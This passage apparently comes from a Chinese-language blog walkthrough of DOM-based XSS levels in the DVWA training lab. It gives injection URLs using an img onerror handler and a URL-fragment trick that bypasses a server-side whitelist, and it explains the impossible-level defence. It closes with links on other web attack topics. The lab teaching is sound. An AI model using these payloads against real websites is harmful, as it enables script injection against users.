破解方式:不用<script>,使用img、body等標籤的事件或者iframe等標籤的src注入惡意的js代碼。例如: http://localhost/DVWA/vulnerabilities/xss_d/??default=English</select><img src=1 onerror=alert(/xss/)>

High級別

代碼分析: 使用白名單的方式,限制參數只能爲French,English,German和Spanish其中一個。

# White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    } 

破解方式:
http://localhost/DVWA/vulnerabilities/xss_d/??default=English#<script>alert(/xss/)</script>
由於 form表單提交的數據先經過JS 過濾,所以註釋部分的javascript 代碼不會被傳到服務器端(也就符合了白名單的要求)

Impossible級別

php代碼什麼都沒做,但更改了前端頁面的代碼:
XSS6
由於大多數瀏覽器默認將從URL中獲取的內容進行編碼,而客戶端的源代碼中直接將編碼後的輸入插入到了動態頁面中(可以與low級別的客戶端代碼進行比較),從而阻止了執行任何注入的JavaScript。
例如,構造url爲http://localhost/DVWA/vulnerabilities/xss_d/?default=English<script>alert(/xss/);</script>,則會出現下面的結果,即前端頁面將瀏覽器解碼的內容原封不動地輸出到了前端,進行顯示,構造的js無法執行了:
XSS7

sql注入參考
https://blog.csdn.net/Cai1010110/article/details/102734879
https://www.jianshu.com/p/757626cec742
暴力破解參考
https://www.cnblogs.com/pangsong/p/12194227.html
https://blog.csdn.net/qq_44105778/article/details/88319572
命令注入參考
https://blog.csdn.net/qq_36119192/article/details/82917250
CSRF參考
https://www.cnblogs.com/bmjoker/p/9084451.html
https://blog.csdn.net/qq_40529133/article/details/89068663
文件包含參考
https://www.freebuf.com/articles/web/119150.html
https://blog.csdn.net/ai_64/article/details/92411131
文件上傳參考
https://www.freebuf.com/articles/web/119467.html
https://blog.csdn.net/qq_37757008/article/details/81408567
XSS參考
https://www.jianshu.com/p/3a12b1f2fdbd
https://www.jianshu.com/p/001daa7cf1f5
https://www.cnblogs.com/zhengna/p/12780934.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章